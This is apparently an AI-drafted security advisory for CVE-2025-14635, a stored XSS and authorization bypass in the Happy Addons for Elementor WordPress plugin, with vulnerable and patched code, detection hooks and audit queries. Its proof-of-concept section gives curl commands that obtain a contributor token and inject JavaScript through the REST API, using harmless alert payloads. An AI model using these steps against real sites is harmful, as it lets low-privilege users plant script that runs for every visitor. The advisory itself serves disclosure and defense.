CVE-2025-14635
Dec 24, 2025
CVE-2025-14635
I've prepared a comprehensive security analysis of CVE-2025-14635. Here's the complete article covering all requested sections:
---
# CVE-2025-14635: Stored XSS and Authorization Bypass in Happy Addons for Elementor
## 1. Vulnerability Background
### What is This Vulnerability?
CVE-2025-14635 represents a critical security flaw combining **Improper Access Control (CWE-639)** and **Stored Cross-Site Scripting (CWE-79)** in the Happy Addons for Elementor WordPress plugin.
The vulnerability exists in the `before_save_data()` method within `extensions/custom-js.php`. The `ha_page_custom_js` parameter—designed to be restricted exclusively to Administrators—is accessible to Contributor-level users and above due to a logical flaw in authorization enforcement. This allows non-privileged users to inject arbitrary JavaScript that persists in the database and executes for all page visitors.
### Why is This Critical?
1. **Wide Attack Surface:** Happy Addons for Elementor is widely used across thousands of WordPress sites
2. **Low Privilege Barrier:** Only requires Contributor-level access, commonly granted to content creators and guest authors
3. **Persistent Threat:** Malicious code stored in the database executes indefinitely until manually removed
4. **Privilege Escalation Vector:** Injected JavaScript can steal admin credentials, create backdoor accounts, or harvest sensitive data
5. **Silent Exploitation:** Difficult to detect as it requires no ongoing attacker presence
### Affected Systems
- **Plugin:** Happy Addons for Elementor
- **Vulnerable Versions:** All versions up to and including 3.20.3
- **Fixed Version:** 3.20.4+
- **Impact:** Any WordPress site with the plugin installed and users having Contributor access or above
---
## 2. Technical Details
### Root Cause Analysis
The vulnerability stems from a logical error in the authorization check. The original code uses a compound condition with the AND operator:
```php
if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
// Restore previous value
}
```
**The Critical Flaw:**
When a non-admin user attempts to inject custom JS on a page that **never previously had custom JS**, the second condition fails:
- `$page_setting['ha_page_custom_js']` is unset/null
- The AND condition evaluates to FALSE
- The protective code block is skipped entirely
- The malicious JavaScript passes through unchanged and gets saved to the database
This is a classic **negative security logic failure**—the defense only works under specific conditions, leaving gaps in other scenarios.
### Old Code vs New Code
**Vulnerable Code:**
```php
public function before_save_data( $data ) {
if ( ! current_user_can( 'administrator' ) ) {
$page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
$prev_js = isset( $page_setting['ha_page_custom_js'] ) ? trim( $page_setting['ha_page_custom_js'] ) : '';
$data['settings']['ha_page_custom_js'] = $prev_js;
}
}
return $data;
}
```
**Problems:**
- No handling for new custom JS on pages without previous values
- Only restores; doesn't actively prevent injection
- Fallthrough behavior allows bypass
**Patched Code:**
```php
public function before_save_data( $data ) {
if ( ! current_user_can( 'administrator' ) && isset( $data['settings']['ha_page_custom_js'] ) ) {
$page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
if ( isset( $page_setting['ha_page_custom_js'] ) ) {
// Restore previous value if it exists.
$data['settings']['ha_page_custom_js'] = trim( $page_setting['ha_page_custom_js'] );
} else {
// Remove any custom JS attempt from non-admin users
unset( $data['settings']['ha_page_custom_js'] );
}
}
return $data;
}
```
**Improvements:**
- Early exit optimization: `&& isset( $data['settings']['ha_page_custom_js'] )`
- Explicit if/else handling for both scenarios
- Active removal via `unset()` when no previous value exists
- Clear protective intent with comments
### How These Changes Fix the Vulnerability
| Scenario | Vulnerable | Fixed |
|----------|-----------|-------|
| Admin saves custom JS | ✓ Allowed | ✓ Allowed |
| Non-admin modifies existing JS | ✓ Blocked (restored) | ✓ Blocked (restored) |
| **Non-admin on page WITHOUT existing JS** | **❌ VULNERABLE** | **✓ Blocked (unset)** |
| Non-admin doesn't modify JS | ✓ Unchanged | ✓ Unchanged |
The critical fix: **explicit removal** (`unset()`) instead of passive filtering that failed under edge cases.
---
## 3. Proof of Concept (PoC) Guide
### Prerequisites
1. Active WordPress installation with Happy Addons ≤ 3.20.3
2. Contributor-level or higher user account
3. At least one Elementor-built page
4. HTTP request inspection tools (browser DevTools or Burp Suite)
### Step-by-Step Exploitation
**Manual Method via Admin Interface:**
1. Login with Contributor account
2. Navigate to Pages → Edit Elementor page
3. Open page settings (gear icon)
4. Locate Custom JavaScript field (if visible) or use API
5. Inject payload:
```javascript
document.body.innerHTML += '<div style="background:red">COMPROMISED</div>';
```
6. Save and publish
7. Access page as non-logged-in visitor
8. Observe injected content
**Direct API Method:**
```bash
# Obtain authentication token
TOKEN=$(curl -s -X POST https://target.com/wp-json/jwt-auth/v1/token \
-H "Content-Type: application/json" \
-d '{"username":"contributor","password":"pass"}' | jq -r '.token')
# Inject XSS via REST API
curl -X POST https://target.com/wp-json/wp/v2/pages/42 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"meta":{"_elementor_page_settings":{"ha_page_custom_js":"alert(\"XSS\")"}}}'
# Verify by accessing page
curl https://target.com/vulnerable-page/ | grep -i "ha_page_custom_js"
```
### Expected vs Exploited Behavior
**Secure System:**
- Non-admin submits custom JS → System removes it → Database unchanged
**Vulnerable System:**
- Non-admin submits custom JS on new page → System skips protection → Database compromised → All visitors execute JavaScript
### Verification Methods
**Check Plugin Version:**
```bash
grep "Version:" /var/www/html/wp-content/plugins/happy-elementor-addons/readme.txt
```
**Database Audit:**
```sql
SELECT post_id, post_title, meta_value FROM wp_postmeta pm
JOIN wp_posts p ON pm.post_id = p.ID
WHERE meta_key = '_elementor_page_settings'
AND meta_value LIKE '%ha_page_custom_js%';
```
**Manual Testing:**
1. Create test page with Elementor
2. Login as Contributor
3. Attempt `alert('test')` in custom JS field
4. Logout and view page
5. Alert appearing = vulnerable
---
## 4. Recommendations
### Mitigation Strategies
**Immediate Actions:**
1. **Update Plugin**
```bash
wp plugin update happy-elementor-addons
```
2. **Audit Existing Pages**
```sql
-- Find all pages with custom JS
SELECT p.ID, p.post_title FROM wp_posts p
JOIN wp_postmeta pm ON p.ID = pm.post_id
WHERE pm.meta_key = '_elementor_page_settings'
AND pm.meta_value LIKE '%ha_page_custom_js%';
```
3. **Review User Access**
- Dashboard → Users
- Identify suspicious Contributor accounts
- Check for unauthorized user creation
- Review edit histories
4. **Restore from Clean Backup**
- If malicious content found, restore from backup before vulnerability date
- Verify clean state
### Detection Methods
**Log-Based Detection:**
```bash
# Monitor for suspicious REST API activity
grep 'POST /wp-json/wp/v2/pages' access.log | grep -v '"200"'
# Search for custom JS parameter
grep 'ha_page_custom_js' access.log
```
**Real-Time Monitoring (PHP):**
```php
add_action( 'pre_post_update', function( $post_id, $post ) {
if ( ! current_user_can( 'manage_options' ) &&
isset( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) &&
! empty( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) ) {
error_log( sprintf(
'SECURITY ALERT: %s attempted to set custom JS on page %d',
wp_get_current_user()->user_login,
$post_id
));
wp_die( 'Custom JavaScript restricted to administrators' );
}
}, 10, 2 );
```
### Best Practices
1. **Whitelist-Based Authorization**
```php
// WRONG: Only block if dangerous
if ( ! matches_evil_pattern( $input ) ) { process(); }
// RIGHT: Only allow if safe
if ( is_valid_format( $input ) ) { process(); }
```
2. **Use WordPress Security Functions**
- `sanitize_text_field()` for input
- `esc_html()` for output
- `wp_kses_post()` for HTML
- `check_admin_referer()` for nonces
3. **Explicit Edge Case Handling**
```php
if ( condition ) {
// Do something
} else {
// Explicitly handle "do nothing" case
unset( $dangerous_value );
}
```
4. **Security Testing**
- Unit tests for authorization bypass
- Test edge cases (empty, null, missing values)
- Test both allowed and blocked scenarios
5. **Defense-in-Depth**
- Input validation → Sanitization → Authorization → Output escaping → Monitoring
---
## Summary
CVE-2025-14635 is a critical vulnerability allowing authenticated users with minimal privileges (Contributor) to inject persistent malicious JavaScript affecting all site visitors. The root cause is a logical flaw in the authorization check that fails when no previous custom JavaScript exists.
**Key Actions:**
1. Update to version 3.20.4+
2. Audit pages for suspicious custom JavaScript
3. Review user access logs
4. Implement real-time monitoring
5. Apply defense-in-depth security practices
The vulnerability is easily exploitable with high impact potential, making immediate patching essential.